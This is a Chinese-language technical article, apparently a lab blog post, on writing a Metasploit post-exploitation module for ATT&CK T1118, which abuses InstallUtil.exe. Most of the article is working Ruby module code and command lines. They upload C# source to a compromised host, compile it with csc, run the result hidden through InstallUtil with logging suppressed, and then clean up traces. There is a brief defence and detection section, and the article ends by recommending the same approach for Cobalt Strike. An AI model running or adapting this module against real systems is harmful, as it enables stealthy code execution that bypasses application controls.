技术分享丨Metasploit后渗透模块编写ATT&CK-T1118
字数 901 2025-08-15 21:32:45

Metasploit后渗透模块编写:ATT&CK T1118 - InstallUtil代码执行技术详解

一、T1118技术背景

1.1 InstallUtil简介

InstallUtil是Windows系统中的一个命令行实用程序,用于执行.NET二进制文件中指定的特定安装程序组件,允许安装和卸载资源。该工具由Microsoft数字签名,通常位于以下路径:

C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe

1.2 攻击原理

攻击者可以利用InstallUtil通过受信任的Windows实用工具代理代码执行,这是MITRE ATT&CK框架中的T1118技术。通过在二进制文件中使用[System.ComponentModel.RunInstaller(true)]属性装饰的类,InstallUtil也可以用于绕过应用程序控制。

二、POC验证

2.1 基本POC流程

  1. 编译阶段

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library T1118.cs
    
  2. 执行阶段

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /U /logfile= /logtoconsole=false T1118.dll
    
  3. HelpText调用

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /? T1118.dll
    

三、Metasploit模块编写

3.1 模块设计思路

由于T1118属于后渗透阶段,在获取session会话后执行以下操作:

  1. 上传C#源代码到目标主机
  2. 使用csc编译为dll
  3. 使用InstallUtil.exe调用加载dll
  4. 清理痕迹

3.2 关键参数定义

OptString.new('RFILE', [false, '上传到windows路径','C:\\windows\\temp\\t1118.tmp']),
OptString.new('LFILE', [true, '本地t1118.cs路径', ::File.join(Msf::Config.install_root, "data", "tianyu", "t1118", "t1118.cs")]),
OptBool.new('CLEANUP_FILE', [true, "清理文件", true]),
OptString.new('DOTNET_VERSION', [true, 'DotNet Version','v4.0.30319']),

3.3 模块结构

3.3.1 初始化模块

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Exploit::FileDropper
  include Post::Windows::Tianyu

  def initialize(info={})
    super(update_info(info,
      'Name' => 'InstallUtil (T1118) Windows',
      'Description' => %q{ ATT&CK 模块编写 T1118 },
      'License' => MSF_LICENSE,
      'Author' => ['天虞实验室-demon'],
      'References' => [
        ['URL', 'https://attack.mitre.org/wiki/Technique/T1118'],
        ['URL', 'https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1118'],
        ['URL', 'https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260'],
        ['URL', 'https://github.com/praetorian-code/purple-team-attack-automation/blob/master/modules/post/windows/purple/t1118.rb']
      ],
      'Platform' => ['win'],
      'SessionTypes' => ['meterpreter']
    ))
    # 注册选项...
  end

3.3.2 辅助方法

# 上传文件路径处理
def remote_file
  if datastore['RFILE'].blank?
    remote_name = File.basename(datastore['LFILE'])
  else
    remote_name = datastore['RFILE']
  end
  remote_name
end

# 本地文件路径
def local_file
  datastore['LFILE']
end

# 清理文件
def clean_file
  print_status("Removing files...")
  register_file_for_cleanup(datastore['RFILE'])
end

# 执行命令
def run_cmd(user_cmd, io=true)
  cmd = "cmd /c #{user_cmd}"
  begin
    print_status("Executing '#{cmd}' on #{session.inspect}")
    if io
      res = cmd_exec(cmd)
      print_warning(res) if res
    else
      res = session.sys.process.execute(cmd, nil, {'Hidden' => true})
    end
  rescue ::Exception => e
    print_error("Unable to execute: #{e.message}")
    return
  end
end

3.3.3 主执行逻辑

def run
  begin
    return 0 if session.type != "meterpreter"
    
    rfile = remote_file()
    lfile = local_file()
    dotnet_version = datastore['DOTNET_VERSION']
    
    base = 'C:\Windows\Microsoft.NET\Framework'
    csc = "#{base}\\#{dotnet_version}\\csc.exe"
    installutil = "#{base}\\#{dotnet_version}\\installutil.exe"
    
    # 上传文件
    upload_file(rfile, lfile)
    
    # 编译C#代码
    cmd = %Q(#{csc} /out:C:\\windows\\temp\\t1118.dll #{rfile})
    print_status("Compiling...")
    run_cmd(cmd)
    
    # 使用InstallUtil执行
    sleep(2)
    cmd = %Q(#{installutil} /logfile= /LogToConsole=false /U C:\\windows\\temp\\t1118.dll")
    print_status("Executing InstallUtil...")
    run_cmd(cmd, false)
    
    print_good("模块T1118执行成功")
    
    # 清理
    sleep(2)
    clean_file()
    print_good("清理缓存成功")
    
  rescue ::Exception => e
    print_status("Unable to execute: #{e.message}")
    print_error("模块T1118执行失败")
    return
  end
end

四、模块部署与使用

4.1 文件结构

/usr/share/metasploit-framework/
├── lib/
│   └── msf/
│       └── core/
│           └── post/
│               └── windows/
│                   └── tianyu.rb
├── modules/
│   └── post/
│       └── windows/
│           └── tianyu/
│               └── t1118.rb
└── data/
    └── tianyu/
        └── t1118/
            └── t1118.cs

4.2 库文件(tianyu.rb)

# -*- coding: binary -*-
module Msf
  class Post
    module Windows
      module Tianyu
        # 上传文件
        def remote_file
          if datastore['RFILE'].blank?
            remote_name = File.basename(datastore['LFILE'])
          else
            remote_name = datastore['RFILE']
          end
          remote_name
        end

        # 本地文件
        def local_file
          datastore['LFILE']
        end

        # 清理文件
        def clean_file
          print_status("Removing files...")
          register_file_for_cleanup(datastore['RFILE'])
        end

        # 运行cmd命令
        def run_cmd(user_cmd, io=true)
          cmd = "cmd /c #{user_cmd}"
          begin
            print_status("Executing '#{cmd}' on #{session.inspect}")
            if io
              res = cmd_exec(cmd)
              if res
                print_warning(res)
              end
            else
              res = session.sys.process.execute(cmd, nil, {'Hidden' => true})
            end
          rescue ::Exception => e
            print_error("Unable to execute: #{e.message}")
            return
          end
        end
      end # Tianyu
    end # Windows
  end # Post
end # Msf

五、防御与检测建议

5.1 防御措施

  1. 限制InstallUtil.exe的执行权限
  2. 监控.NET目录中的异常活动
  3. 实施应用程序白名单策略

5.2 检测方法

  1. 监控InstallUtil.exe的异常调用
  2. 检查临时目录中的可疑dll文件
  3. 分析InstallUtil的日志参数异常(如/logfile=)

六、扩展应用

同样的技术原理可以应用于Cobalt Strike等工具,编写类似的攻击脚本。关键在于:

  1. 上传恶意C#代码
  2. 使用目标系统的csc编译
  3. 通过InstallUtil执行
  4. 清理痕迹

这种技术利用了Windows信任的合法工具执行恶意代码,具有较高的隐蔽性,是红队测试中常用的技术之一。

Metasploit后渗透模块编写:ATT&CK T1118 - InstallUtil代码执行技术详解 一、T1118技术背景 1.1 InstallUtil简介 InstallUtil是Windows系统中的一个命令行实用程序,用于执行.NET二进制文件中指定的特定安装程序组件,允许安装和卸载资源。该工具由Microsoft数字签名,通常位于以下路径: 1.2 攻击原理 攻击者可以利用InstallUtil通过受信任的Windows实用工具代理代码执行,这是MITRE ATT&CK框架中的T1118技术。通过在二进制文件中使用 [System.ComponentModel.RunInstaller(true)] 属性装饰的类,InstallUtil也可以用于绕过应用程序控制。 二、POC验证 2.1 基本POC流程 编译阶段 : 执行阶段 : HelpText调用 : 三、Metasploit模块编写 3.1 模块设计思路 由于T1118属于后渗透阶段,在获取session会话后执行以下操作: 上传C#源代码到目标主机 使用csc编译为dll 使用InstallUtil.exe调用加载dll 清理痕迹 3.2 关键参数定义 3.3 模块结构 3.3.1 初始化模块 3.3.2 辅助方法 3.3.3 主执行逻辑 四、模块部署与使用 4.1 文件结构 4.2 库文件(tianyu.rb) 五、防御与检测建议 5.1 防御措施 限制InstallUtil.exe的执行权限 监控.NET目录中的异常活动 实施应用程序白名单策略 5.2 检测方法 监控InstallUtil.exe的异常调用 检查临时目录中的可疑dll文件 分析InstallUtil的日志参数异常(如/logfile=) 六、扩展应用 同样的技术原理可以应用于Cobalt Strike等工具,编写类似的攻击脚本。关键在于: 上传恶意C#代码 使用目标系统的csc编译 通过InstallUtil执行 清理痕迹 这种技术利用了Windows信任的合法工具执行恶意代码,具有较高的隐蔽性,是红队测试中常用的技术之一。